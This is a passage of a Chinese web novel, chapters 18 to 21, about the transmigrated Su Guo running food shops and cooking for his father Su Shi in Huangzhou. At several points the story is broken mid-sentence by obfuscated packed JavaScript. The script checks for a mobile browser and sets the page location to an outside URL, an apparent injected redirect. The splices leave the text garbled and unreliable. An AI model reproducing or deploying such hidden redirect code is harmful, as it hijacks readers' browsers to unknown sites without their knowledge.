要是钵钵鸡放一起售卖，香味太霸道，哪里还闻得到什么药香，反而不美。 不说别的，目标客户都不一样，在一起吃饭也不合适。 苏过欣然赞同，果然有聪明人帮忙查漏补缺就是好。 于是直接另租了一个更小的店面，两个店相距不远，但绝对不会相互影响的程度。 王朝云一下子负责两个店铺，更是忙的脚不沾地，王氏也帮忙分担了许多。 倒是苏过一下子闲了下来。 毕竟他除了检查验收，别的事情也暂时用不上他。 于是苏过又被老苏抓了壮丁，安排了更多功课。 开春后冰雪消融，各种交通都便利起来。 老苏之前寄出去的报平安信件也陆陆续续收到回信。 不得不说，老苏的好友真的是，怎么说呢，密密麻麻。 几乎每隔两天就有人送信来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422181|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老苏在书房不是看信，就是写信。 还有时不时来看他的陈季常，顺路来拜访，现在住在家里的辩才法师。 甚至了元禅师，都在几次交锋后，两人成了至交好友，成天你来我往，谈天说地，好不开心。 这种关系网，老苏真的，绝对是大E人。 没过多久，他们甚至迎来了一个新客人，李公择。 这位也是老苏的挚交来着。 两人交情颇深，老苏去密州任职都要顺便拐去齐州探望李公择。 现在，李公择更是专门来看望被贬的好友，还带了一大堆食物用具，生怕老苏生活不便。 这友谊，真是感人。 这位不仅是作为老苏的朋友出名，自己也是一个大佬。 当年在庐山读书，留下近万本书籍，建成李氏山房，还公开对外开放，是十分出名的早年公共图书馆，在学子之间声望极高。 之前在汴京时，来家里蹭饭的开封府尹李肃之还是他堂兄来着。 这关系网，真是复杂。 不管怎样，李公择的到来受到苏家热烈欢迎。 当天苏过就亲自安排，做了许多好菜招待。 李公择对养生锅和各色菜品都称赞不已，见好友起居吃住都好，他也放下了心。 不过没住几日，就告辞离开了，毕竟他还有官职在身，并不能久留。 临走时，苏过给打包了许多山货药材，还贴心的附上了养生食谱，方便他回去自己安排。 李公择十分感动，和老苏唱和，又留下了几篇佳作，潇洒离去。 不过这倒提醒了苏过，除了来拜访的友人，在远处的友人也很需要关照呀。 人人爱养生，身体不用愁。 于是老苏写各种回信时，他就在一旁催着亲爹加上各种养生安利，然后附上食谱。关系亲近的就随信顺便再加上一包优质药材山货，关系一般的，就只有食谱，自己去找食材。 苏过还给李肃之写了一封信，寄去一大包特产。毕竟刚见了李公择，既然想起来这位老人，怎么能不关照下呢，年纪越大越需要养生呀。 还有京城里的章大佬等人，提醒老苏千万别忘了，也要维护好关系。 苏轼表面上声讨了几句苏过多管闲事，实际上心里也很受用，毕竟他们这些文人之间书信，除了文化交流之外，也是很喜欢各种安利炫耀的。有什么好吃的好玩的，不分享有什么意思呢，每个好友都有份。 且不论这些好友收到信后如何刮起了一股养生潮流。 经过几个月的等待，他们的辣椒，开始结果啦！ 暂时还是青色的小果子，部分开着小花，但产量喜人，整片辣椒田看起来十分有丰收的希望。 苏轼一直十分关注辣椒的成长，甚至空闲时还来给辣椒除过草。 如今终于快到收获时节，想到辣椒的香味，心里十分激动。 看着一片辣椒地，苏大佬不禁也感受到了几分田园之趣。 “昔日陶公种豆，草盛豆苗稀，想必是没有这般丰收之喜的。”老苏十分自得，觉得都是自己除草养护得当才有此番收获。再加上近来与了元论禅，心境更是超脱，“此处城西，有此丰收良田，当得一号，西坡居士！” 苏过本来也沉浸在辣椒即将丰收的喜悦中，听到这里，一下子差点伸出尔康手，西坡居士？！您哪位啊。 18. 第 18 章 “此处虽处城西，但向阳朝东，当为东坡。就算要取号，也应该是东坡居士吧。”苏过不禁反对道。 苏轼想到自己喜欢的诗人白居易也是在东坡耕种的，便觉得这个称号更好，“也对，那以后就是东坡居士了。” 苏过在心里擦了一把冷汗，好险，差点把苏东坡蝴蝶成苏西坡了。 从辣椒开始挂果，老苏便三天两头跑来看辣椒红了没有。 终于，在他的殷殷期盼下，辣椒变成了鲜艳的红色，一大片红艳艳，十分喜庆。 老苏也仿佛过年一般，喜气洋洋的让人赶快收下来，催苏过安排做菜。 本来苏过还想争辩下，辣椒晒干后更香也方便留种来着。 见他如此期待，算了，也不差这一点。 一边做菜，一边安排钟叔等人帮忙将收下来的辣椒晒干。 等干辣椒存储完毕，他们的沸春居-黄州分店就要开张啦。 老苏终于过上了期待已久的日子。 除了早膳要清淡不能重口外，每次正餐都是各种辛辣菜色。 辣椒炒肉，剁椒鱼头，水煮肉片，水煮鱼，麻婆豆腐，辣子鸡。 每天都不同，每个菜都吃了还想吃。 辣椒的辣度比茱萸高出许多，即使身为蜀人，也并不是一开始就习惯的。 但辣椒就是有一种让人欲罢不能的魅力，就算辣的泪涕横流，还是忍不住想继续。 老苏大概是天生更能吃辣那种人，很是全情投入，吃的不亦乐乎。 进入夏日，辣椒很快晒好，王氏他们的店铺也准备开张了。 两家店是一起开张的，一家叫沸春居-养生馆，一家叫沸春居-钵钵鸡。 一看店名就知道是同一个老板，但这样两个店一起开张，自己抢自己客流的行为，许多路人十分不解。 但有好奇的人仔细看过两家菜色后，倒一下明白了用意。 一家店里不知道加了什么调料，香气十分霸道，整条街都闻得到香味。价格也十分便宜，荤菜素菜都串在一根根竹签上面，一串也不贵，可以按锅买也可以按串购买，还有个什么辣度，可以选微辣、中辣和重辣。 许多人都好奇买了一串自己喜欢的蔬菜尝尝，然后就被辣椒迷住了。 店里售卖的版本苏过其实经过了改良，香味大于辣味，还对辣度进行了分级，毕竟不是所有人都跟苏家人一样嗜辣。 大部分人都是选的微辣和中辣，但也不乏有胆子大的，一上来就选了重辣，结果吃了后是眼泪鼻涕一起下来，好不狼狈。 店里小二连忙送上凉茶，但是此人喝完一大碗压下辣劲后竟然觉得意犹未尽，于是进到店里点了一份重辣锅底搭配更多菜色，一边擦汗一边吃的不亦乐乎。 见有人尝试，剩下观望的人也立马加入品尝队伍，基本都是吃完一串后就进店点了大份。 钵钵鸡这边不久就排起长队，也有等不及的，直接买了现成的串串打包带走。 比起这边的热闹，养生馆就要显得冷清一些。 毕竟没有新奇调料的噱头，而且黄州很多人家自己家里就会做药膳，并不觉得养生锅有什么稀奇。 但也不乏老饕和懂行的人，看到菜单后就知道这家店不一般，进去一品尝，更发现味道一绝。 药材香味和食材味道完美的融合在一起，喝完汤再吃掉食材后，还可以点蔬菜肉类继续下到锅里烫着吃，店家准备的蘸料更是惊喜。有酸香开胃的，也有辛辣鲜香的，按个人口味选取，等吃完后，一个个都觉得超级满足。 于是口口相传，客流倒一日多过一日。 见识到大家对辣椒的喜爱，苏过忙不迭安排辣椒的继续轮种，现有的那一亩三分地肯定是不够的，还得让王氏将更多的地种上辣椒，有可能还要买新的田地，毕竟之前的大多都已经租出去了。 等黄州辣椒产量和客流稳定后，多出来的种子，还可以送到汴京那边也种植一些，然后更新菜单，想必汴京人民也是无法拒绝香辣火锅的。 苏过提出一堆要求后，剩下大多事宜都是王朝云与王氏在安排。 两人一下子忙碌起来，老苏感知十分明显，深觉自己被忽视了。 于是更加沉浸美食，店里人多自然不好去挤，但食谱都是现成的，在家想吃什么就点什么，更加惬意。 辩才法师深谙养生之道，并不嗜辣，向来只偏好清淡养生。 倒是了元与他兴趣相投，一起品尝美食无数。 如此这般不过半月，老苏便乐极生悲。 无他，痔疾复发了。 老苏与痔疾的斗争史也是一段血泪史。 据说两者相伴二十多年一直到老，给别人写的信中经常提及，“近日又苦痔疾，呻吟几百日”，“某近以痔疾，发歇不定”，“某一向苦痔疾”，可见是真的十分痛苦。 老苏也真是奇人一个，长个痔疮都趣事不断。 光记载下来的治疗方法都有许多，先是药物治疗，之后又开始研究病理，自创戒断疗法，断酒、断肉、断盐酢酱菜，每日主食就一斤白水面。 还折腾出了一种“胡麻茯苓面”，将黑芝麻去皮九蒸九晒，茯苓去皮加蜜制成，吃起来味道还不错，对痔疮也挺有效果。这个方子还流传后世，挺多人采用来着。 可惜老苏始终管不住嘴，一有好转就继续放纵饮食，于是一直在养病与复发中循环。可以说是十分顽固。 这病是当年去密州时落下的，不时反复，本来也不算大碍，理论上现在还属于初期阶段，但奈何老苏最近无辣不欢，每天重油重辣又各种肉食，一下子便严重了起来，起初还强忍不发，直到痛的走路不便，需要卧床静养。 这会儿他还没研究出各种绝招，但家里有现成的名医，辩才法师立马就给他进行了诊治。 给出的方案也是清淡饮食，老苏听到顿觉大失所望。 还好苏过很有孝心，见老苏备受打击，忙请教了辩才法师哪些食材有助于恢复，给亲爹做了许多清淡却不寡淡的菜肴与药膳，很好的抚慰了他的心灵。 当然，辣椒是肯定短期不能再吃了。 老苏心生郁闷，于是又给众多好友写去许多信件，痛陈自己的可怜处境。 苏过看的一脸黑线，这病很光荣么，大E人竟恐怖如斯。 别的友人收到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427246|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信件不知如何，离得近的陈季常倒是不久后就携夫人前来探病。 王氏热情的接待了他们。 不见苏轼，陈季常还以为是病情尚未好转，特地到内室探望。 却见苏轼并无大碍，也没有卧病在床，只是一个人安静待在房间看书。 陈季常捉弄心起，打招呼后掏出随身酒瓶喝了一口，还将酒瓶在苏轼面前晃了一圈，企图引起对方的酒瘾。 却没想到，平日里十分好酒的苏轼竟然闻风不动，只用一种别样的眼神看着他。 陈季常正惊奇，就听见苏过叫他，“陈伯伯，快过来吃麻辣小龙虾啦。” 黄州这边小龙虾十分常见，但苏过做的肯定好吃，陈季常正准备叫上苏轼一同前去，却见苏过又探头进来，“爹，你的药膳也熬好了，是过来一起吃还是给你端过来？” 苏轼轻哼了一声，起身跟了过去。 苏过准备了好几大盆小龙虾，各种口味，共同点就是油亮鲜香，而且大部分都是麻辣居多。 黄州水资源丰富，盛产小龙虾，各个个头饱满，肉质紧实。 苏过也是看到钟婶偶然买回来才知道竟然还有这等资源。 小龙虾壳硬，但还算有肉，常有渔人捕捞上来当作普通水产售卖，价格十分便宜。 毕竟各家小孩随便捞一捞也是能捉到几只打牙祭的，而且远不如鱼类肉多，卖不上什么价。 但对辣椒在手的苏过而言，小龙虾可谓来的刚刚好。 大夏天，麻辣小龙虾是王道呀。 立马让钟婶去收了许多新鲜小龙虾，苏家已经吃了好几日了，仍然意犹未尽。 待陈季常落座，大家便开动起来，剥壳吃肉十分熟练。 陈季常还没有吃过这种壳都没有剥的小龙虾，但香味实在吸引人，便学着苏过他们的样子，将龙虾剥开，虾肉蘸上汤汁再放嘴里。 简直太好吃啦！ 苏过之前送过他一些辣椒种子，近来陆续已经结果。 因此陈季常他们也是吃过辣椒做的菜色的。 但跟着食谱做哪有苏过做的香，而且在麻辣小龙虾这种王牌美食面前，别的菜都是弟弟了。 难怪苏轼沉迷美食，连痔疾都复发了。 陈季常一只接一只吃的过瘾，待消灭掉一盆，面前虾壳堆成小山，才想起来找好友分享。 却见好友面前十分干净，并没有参与到剥虾的队伍中来，而是抱着一碗茯苓梗米粥在慢慢喝。 见他终于舍得看过来，正用一种很熟悉的眼神看着他。 正待问好友，旁边苏过已经开口解释，“我爹还在修养，不能碰辛辣酒肉，陈伯伯咱们自己吃就可以啦。” 陈季常一下子想起为什么觉得老苏眼神熟悉了。 刚刚他用酒逗好友的时候，可不就是这种眼神么。 原来已经被折磨惯了，才会这么平静无波。 可是，既然吃不到，干嘛还要来这边吃，闻着香味折磨自己呢，自己单开一桌躲房间里不是更好么？ 老苏：就算吃不到，也要闻闻香味。 ...... 这是何苦呢。 19. 第 19 章 好友控诉的眼神固然让人心虚，但小龙虾的香味显然更吸引人。 陈季常强迫自己忽视旁边老苏的低气压与目光，继续投入剥小龙虾事业中来。 还有两大盆，他还可以战斗。 等终于吃饱，撤去一片狼籍。陈季常倒上两杯热茶，才开始跟老苏好好聊他的痔疾恢复如何。 其实经过这段时间的戒断，已经恢复许多，不然老苏也没办法行走自如跟过来吃饭。 但辩才法师建议还要继续休养一段时间，而且以后也尽量饮食清淡，戒酒戒辣。 听到这些，老苏感觉天都塌了。 无竹使人俗，无肉使人瘦，无辣使人哭。 至少老苏现在就很想哭。 之前不能吃水煮肉水煮鱼剁椒鱼头的时候，他以为这已经是人间极刑。 但自从儿子发现小龙虾后，就仿佛发现了新世界一般，家里已经吃了好些天麻辣小龙虾了，那香味，简直过分！ 之前苏过还想着给老苏做蒜香小龙虾，勉强解解馋，结果辩才法师说大蒜也属于辛辣之物，不可多食，于是连平替都没有了。 偏偏老苏还很不甘心，每次做了小龙虾都要在一旁看吃播，简直折磨自己。 见亲爹如此幽怨，苏过想了想，决定眼不见为净，走为上策！ 可惜刚有这个意图就被老苏叫住，说什么他已经十岁了，学习上也应该上些难度，明日起就准备开始学八股文基础，破题。 什么？！ 一个本应上小学的十岁小朋友，你让他开始学高中课程，这合理么？ 虽然他是有那么一点聪明，有一点过目不忘，有一点悄悄偷懒，最近又刚好有一点故意气老苏来着。 但真的就一点！ 前世苏过其实就算是小天才类型来着，虽然主要体现在厨艺上一点即通，博揽众长，各种食谱手法都是过目不忘。 没想到在这边，看各种四书五经时，天赋依然不减。 之前老苏刚出狱那阵为了不被发现，苏过拼命补课时就发现了。 很多书基本上看一遍就记住。 后来亲爹开始抓功课亲自教学。 苏过有藏拙来着，但老苏何等人也，没多久就识破了。 而且苏过也并不知道这个年纪，在古代有一点点聪明的小孩子应该是个什么进度，只好处处比着苏二哥来。 结果前段时间，苏二哥开始跟着辩才法师学医，法师见他医学天赋出众，佛学上也有慧根，十分惜才，当下就让认真拜了师，全面接手苏二哥医学教育，教导很是用心，还夸赞苏二哥不愧是神童，让苏过吃了一惊。 苏二哥是神童，那比着二哥进度的自己，岂不是藏拙失败？！ 难怪老苏成天给他俩上课时都一副心情很好笑眯眯的样子。 有这样的儿子，不知道私底下跟多少好友炫耀过呢。 于是老苏让他开始学破题，他还真没有什么好理由拒绝来着。 毕竟四书五经已经基本讲完，各种杂书也看了一堆，用老苏的话来说就是，该“学以致用”了。 意兴阑珊的应了一声，在亲爹幸灾乐祸的眼神中离开。 苏过决定去找娘亲，讨论讨论别的事情。 比如，将他爹吃不到的麻辣小龙虾，让更多人吃到。 王氏正和柳氏聊天，她最近开始忙黄州的生意，很是有些新鲜事可以分享。 见苏过进来，柳氏忙一手拉了他坐在旁边，“几个月不见，过哥儿又俊了不少。厨艺也还是这么出色。” 苏过毕竟内里还是一个清纯男大的年纪，被这么一夸很不好意思，只能谦虚几句。 见他不自在，王氏忙来解围，“过哥儿是有什么事么？” 忙跑回母亲身边，“娘你觉得麻辣小龙虾味道如何，我们卖这个怎么样？” 吃了这么些天，苏家上下可以说对小龙虾都十分喜爱。若能拿出去卖，肯定受欢迎。 只是小龙虾壳多肉少，捕捉的人并不多，不知道能不能供应得了店里的消耗。 王氏在做生意上向来考虑比较全面，若货源都不稳定，那贸然推出，恐怕反而影响店铺口碑。 苏过也考虑过这个问题，甚至还想到一个十分有用的办法。 前几天他随钟叔一起去市场买过小龙虾，跟捕捞人详细了解过情况。 黄州水资源丰富，小龙虾是真的不少。 但普遍物价不高，小龙虾更是价格低廉，所以捉的人不多。若是有需要，那多费些功夫，找人多抓一些即可，数量肯定不少的。 只是小龙虾本身生长具有季节性，也就这两个月比较好抓。而且野生的话，人工捕捞难免有多有少，这供应上就说不上稳定了。 苏过十分理解。但依然觉得卖小龙虾十分适合。 大不了多找些人去抓，总能收到足够货源。 既然时间数量都有限制，那就做成季节限定好了。 更加有噱头，还吸引客流。 只是这种收法的确稳定性太差。如果每年都卖的话，人工养殖小龙虾也不乏味一个方案。 他记得以前在哪儿有看到过一种方法，叫虾稻共养，将小龙虾养在稻田里，实现一水两用、一田双收。 这样不但能保证小龙虾供应，还可以提高稻谷产量，可以说是一种非常高效科学的方法。 今年肯定是来不及了，可以先收野生小龙虾。等秋季时，将虾种放入稻田，明年就能自产自销了。 当然，这只是他凭记忆搜刮出来的方法，具体落实，还是需要麻烦王氏操心。 听了苏过的计划，王氏倒是觉得十分可行，只是他们买的水田并不多，若要养虾，恐怕还得再买一些田地，农人也要选些经验丰富的，这么多良田，一时半会儿可能不好收齐。 柳氏听到这里，忙打断两人谈话，“何必那么麻烦，若要水田，我那边还有好几十亩的地，今年刚收回来没有租出去。若要搞什么共养，不正是现成的么。” 王氏连忙推拒，“那怎么好意思，现如今两个店铺客流量都不小，若这麻辣小龙虾开售，必然大受欢迎，那就不是几亩田地的事了，里面且麻烦着呢。” 柳氏却混不在意，“那就需要多少拿去种好了，就当我租给你们，都是早年我精选的良田，刚好在一片，你们找人打理起来也方便。” 此话一出，王氏和苏过都十分心动。 毕竟，如果临时购田，难得有符合条件又连在一起的大片良田。 若分散太远，管理起来也太不方便了。 见二人意动，柳氏继续劝道，“都说了当成租的就好，我正嫌这么大一片租给别人麻烦呢。” 于是两人应承下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432802|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，到时候按市价交租就好。 小龙虾搞定，苏过又想起另一件事来。 之前开店时就有计划，黄州这边茶文化浓厚，准备推出奶茶搭配火锅来着。 结果火锅店都运行起来，生意一日好过一日，奶茶竟然还不见踪影。 也怪自己，先是沉浸在各种辣椒菜色中，后面又有老苏痔疾，忙来忙去，竟忘了研发奶茶新品。 对苏过描述的香香甜甜的奶茶，王氏与柳氏都很感兴趣，但毕竟没尝试过，于是决定等明天，苏过先弄出来几份样品，试菜通过后再考虑要不要推出。 苏过自然满口应下，回去休息不提。 第二日，便特地去找老苏，要了他最好的茶叶，准备做奶茶。 老苏对自己的茶叶宝贝的紧。 尤其是近来不让喝酒，喝茶更是在他的爱好中提高了好几个优先级。 还是苏过承诺他，要用茶叶做更好喝的饮子，不在忌口范围内，这才松口，将收藏的好茶叶，给了好几种给苏过。 黄州处在大别山区，各种山头很适合种茶，尤其是云雾茶和碧螺春，品质出众，别的像毛尖、白茶等，虽然产量不多，但论品质，也是不俗的。 苏轼珍藏的，就是吉峰毛尖。 到厨房后，苏过将茶叶与一早让钟叔买好的鲜牛乳一起小火熬煮，让钟婶帮忙看着锅，便去忙着做珍珠丸子，毕竟，奶茶里面，珍珠可是灵魂。 苏轼给出自己的极品毛尖，又想了想，实在不放心，主要还是想看看是什么新鲜东西，便跑到厨房来围观。 然后就闻到了牛乳与茶香混合在一起的浓郁香味。 小子果然没骗他，是好东西。 正等着尝一尝，却见苏过将黑色一粒一粒像药丸的东西倒进去。 忙拦住他，“这是何物，长得好生奇怪，别弄坏了饮子。” “这叫珍珠，等会儿你尝尝就知道了，差不了的。”苏过手上动作不停，将珍珠盛进特制的竹筒杯中，倒上奶茶，又放上用细竹子做成的吸管。 毕竟，奶茶还是要吸着喝才像样。 递了一杯给苏轼尝鲜，苏过便端着剩下的，准备给其他人一起来一个品鉴大会。 不得不说，甜甜的奶茶老少咸宜。 从苏二哥到王氏柳氏都给出了极高的评价。 甚至了元禅师和辩才法师也很喜欢。 箪哥儿见大人们喝的开心，也在旁边吵着要喝。 但小孩子不能吃糖，苏过便只给他喝了鲜牛乳。 品鉴大会获得圆满成功。大家都很喜爱，王氏立即决定加入店铺供应。 不过苏过坚持要用竹筒杯和吸管。 合适的细竹子难得，还需要仔细打磨。后面还得寻摸别的替代品，比如芦苇杆一类，很需要费一番功夫。 而且茶叶原料和奶源也需要安排，短期内无法推出。 苏过也很理解，没关系，咱们能喝上秋天的第一杯奶茶就好。 他们正在热烈讨论奶茶，却听丫鬟知夏来报，说陈知府唤苏轼前去府衙。 这倒稀奇，要知道老苏是没啥公事的，基本上都不去府衙打卡。 不知道这次是有什么急事，忙换了衣服出去。 到很晚，老苏才回来。 带来一个消息。 陈知府，要离任了。 20. 第 20 章 听到陈知州离任的消息，大家都很诧异，同时带着一点担忧。 对于这位大人，苏家是十分感激和不舍的。 老苏作为被贬到黄州的犯官，又刚牵扯进“乌台诗案”这种大案，明显被官家所不喜。无论到哪里，基本都是被避之不及的。 但陈知州不但没有为难老苏，反而从一到黄州开始就帮忙安排住宿，提供便利。还为老苏提供了一样很重要的东西，自由。 基本不用点卯，没有任何压力，像朋友一样相处。 这半年来老苏享受了基本等同于归隐的生活，在这种自在的环境中，感受自然，恢复元气。 渡江的时候苏轼还有一些些沉郁，到这边后，简直可以说是放归本性，完完全全的享受生活。 如今陈知州要走了，新来的知州不知何许人也，对待老苏又是什么态度。 难免让人担忧。 但老苏很是乐观，“船到桥头自然直,新知州姓徐，过几日接风宴上且看下就知道了。” 苏过是不怎么担心的，他虽然不记得历史细节，但据说老苏在黄州一直都很受照顾，政治生涯上没什么突破，文学上可是创作了超多必背诗词文章。 绝对没什么问题，于是附和老苏，“那陈伯伯走的话，我们要给他送行么。” 苏过记得陈知州还准备翻修临皋亭给他们居住来着，是个大好人。 这样的朋友要走了，肯定是要送一送，再奉上临别赠礼的。 “接风宴和送别宴是一起的，你若想去，到时候带上你一起。”老苏应承到，陈知州近日叫他过去，就是告知此事。 既如此，那苏过就放心下来，准备好好想想送点什么。 不过在此之前，麻辣小龙虾的事宜得先安排下来。 王氏和王朝云十分有行动力，没过几日便推出了新菜色。 原本大家对小龙虾十分不买账，壳硬肉少，烧起来还带股土腥味，难吃是众所周知的事情。 但沸春居的小龙虾，油亮鲜辣，香味比起钵钵鸡有过之而无不及。 大家在尝试后都爱上了这个味道。 尤其知道小龙虾是季节限定后，销量甚至超过了钵钵鸡，一骑绝尘。 给苏过提供小龙虾的渔夫也笑开了花，本来不值什么钱的水产，如今身价暴涨。 而且苏过店里要的量十分大，许多渔家几乎是全力在捉小龙虾才勉强维持住供应，这也让他坚定了要尽快安排虾稻共养的决心。不然在今年这样的捕捞量下，明年不知还会剩下多少。 这些事王氏早就开始安排下去，如今王朝云负责两家店铺的日常经营，忙的脚不沾地，几乎整日整夜守在店里，苏过都好一阵没有见过她了。 王氏则负责各种统筹，将许多事宜安排的井井有条。 至于苏过么，一如既往的，在计划完善，一切走上正轨后就开始躺平不管，安心收取满意值了。 抱大腿，就是这么爽。 过了小半月，就是知州的交接宴。 苏轼带着苏过前去赴宴。 一上马车，苏轼就看到苏过怀里抱着一个大大的食盒，隐隐飘出很香的味道。 本想看一看，苏过却看得紧，非说等宴会上给大家惊喜。 苏轼无法，只得一路闻着香味，带着不孝子到了州府。 新来的徐知州十分面善。 之前陈知州虽然人很好，但一直是以驭吏严而治民宽出名，整个人还是有些严肃的。 但徐知州整个人都十分平和，满脸笑容，一看就很好相处。 苏过彻底放下心来。 新的知州姓徐名大受，字君猷，乃福建人，神宗年间进士。早就听说苏轼在这边，对于这样一个文学明星，徐知州是十分喜爱并想与之交好的。 见苏轼带着一个食盒过来，忙让人接下，问这是什么。 老苏十分无奈，苏过不但不提前告诉他带了些什么，到府衙时还以盒子太重为由，让他提着食盒。一路上引来不少侧目。 陈知州倒是十分了解，这做吃的，肯定是苏小郎的杰作。“苏家小郎君厨艺甚善，想必是带来了一些佳肴。” 最近城里新流行的麻辣小龙虾听说就是苏小郎弄出来的，他也有去吃过几次，可惜年纪大了肠胃不好，并不敢吃太多辛辣之物。 苏过让老苏将食盒交给下人，重新加热再分装送上来。 陈知州年纪大，苏过自然不会送上小龙虾这种东西，不然好好一个接风宴，吃完肠胃不舒服多不好，而且就算脾胃祥和，大家好好在聊天，吃的满嘴满手都是红油，也不雅观。 待食物重新送上来，陈知州一看，其中一盘是之前在定慧院吃过的栗子糕，另一盘则是色泽十分鲜亮的彘肉，肥瘦相间，被切成很大的一块儿，裹着酱汁，随盘子的放下，轻轻晃动，一看就十分软糯。 徐知州也十分好奇。没想到苏家小郎会送上彘肉。 要知道，在北宋，彘肉向来被视作贱肉，因腥臊气重，难以烹饪，一向为人不喜。除了实在缺油水的百姓会食用，达官贵族的餐桌上一般都不会出现，经常以羊肉牛肉居多。 但今日送来的彘肉，不知是否是烹饪得当的原因，并无异味，反而香气逼人。一口咬下去，味醇汁浓，香糯而不腻口，简直出乎意料。 两位知州都吃的十分满意。 见状苏过也放下了心，这样软糯的菜色，正适合年纪大的知州伯伯们。 苏轼也很吃惊，这道菜刚拿出来时，他还以为是之前自己做过的红烧肉，毕曾经在徐州任职时，他带着百姓抗击洪水，许多人都杀猪带酒来感谢，苏轼推辞不过，就做成红烧肉送回给百姓。 当时还好生研究了一番彘肉做法来着。 不过今天苏过做的彘肉，显然又进行了诸多改良，无论品相还是味道上都更胜一筹。 “这道彘肉叫什么名字，如何做到一点腥臊味都无的？”徐知州笑眯眯问道。 苏过看了老爹一眼，“这道菜，叫东坡肉。” 然后将亲爹在徐州如何治理水患，又与百姓亲如一家，互相赠肉的美谈讲的活灵活现。 再详细讲了东坡肉的做法，如何煎炖蒸煮，让彘肉既无异味，又入口即化。 “东坡居士做东坡肉，的确是一桩美谈。”徐知州感慨，“可惜此菜做法复杂，难以推广，否则倒方便为百姓桌上添一佳肴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451461|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这徐知州倒是个心系百姓的，吃到一道菜就想到百姓。 不过苏过还真有办法解决此事，于是假装刚刚想起的样子，“东坡肉虽做法复杂，但彘肉想要简单烹饪就没有腥臊，也是有办法的。” 听到这里，两位知州都很感兴趣。 要知道在黄州，彘肉可以说是肉价贱如泥。百姓普遍缺少油水都不爱吃这个，可见味道是多么难闻。 如今听到有办法解决，哪里还坐得住，忙问细由。 “我曾在一本书上见过，说只要将猪去势，就可长肉更快还不腥臊。”苏过腼腆说道。 徐知州以为自己听错，“去势？” “对，就是骟猪，从小就处理好，养起来就方便很多。”苏过将如何操作与各种好处都一一道来。 听到这样的方法，从一个小孩嘴里说出来，现场众人都觉得有点怪怪的，而且内心一紧。 但听了这些好处，又觉得很值得一试。 若真能轻松养出更多好吃的肉，可谓是一大政绩。 “我爹就很会做彘肉，还会养猪来着。”苏过倾情安利。 毕竟在眉山的时候，他爹是真的亲自养过猪。他虽然没有记忆，但曾经听王氏提起过。 苏轼可是一个精力旺盛又具有神农尝百草精神的人，各种事情都愿意尝试。 听到这里，苏轼忙拉了儿子一把，好好的接风宴，怎么啥都说呢。 徐知州笑着给陈知州敬酒，“陈兄此处真是卧虎藏龙。” 陈轼回敬，席上一片祥和氛围。 接风宴后，苏过跟着老爹拜访陈知州，又送上长途旅行大礼包。 毕竟陈知州此次离任后便致仕返回老家了，路途遥远，方便食品绝对是必需品。 年纪大，又是致仕返乡，以后大概率是没有机会再见了。 因此拜别后苏家父子二人都有些情绪低落。 不过上马车到家后，苏轼回过神来，又拎着苏过回书房教育了一波。 让你瞎嚷嚷，说亲爹很会养猪什么的。 苏过成功收获一顿教训，外加一堆功课，怏怏回房。 第二日，众人听说新来的徐知州十分和善，也都放下心来。 毕竟，黄州虽地处偏僻，但民风淳朴风景秀丽，他们逐渐也适应了这边的生活，能不要起波折当然是最好的。 而了元禅师这时却来找苏轼辞行。 他本云游此处，与辩才法师同行拜访好友，与苏轼投缘，才在此小住。 辩才法师收苏迨为徒教授医术，还需一些时日才会离开，但了元禅师却即将赴金山寺任住持，倒不便久留了。 苏轼父子一下子送别两位好友。 还没来得及伤感，老苏就被新上任的徐知州唤到了府衙。 等回来后，苏轼看苏过的眼神很是一言难尽。 原来徐知州新官上任三把火，十分有行动力，致力于为治下百姓改善生活。对此前接风宴上听到的骟猪养法十分感兴趣，决定委托老苏负责此事，全面发展养猪事业。 冷板凳坐了半年，老苏是有心做些实事来着，但一上来就养猪什么的。 哎，还是多给孩子布置点功课吧。 21. 第 21 章 近来苏过在亲爹指导下开始学习破题，简单来说，就是阅读理解。老苏出许多经义题目，苏过写下出处与题目的核心思想。毕竟这段时间在老苏的监督下，四书五经都已经基本熟读，正需要抽查默写来进行巩固。 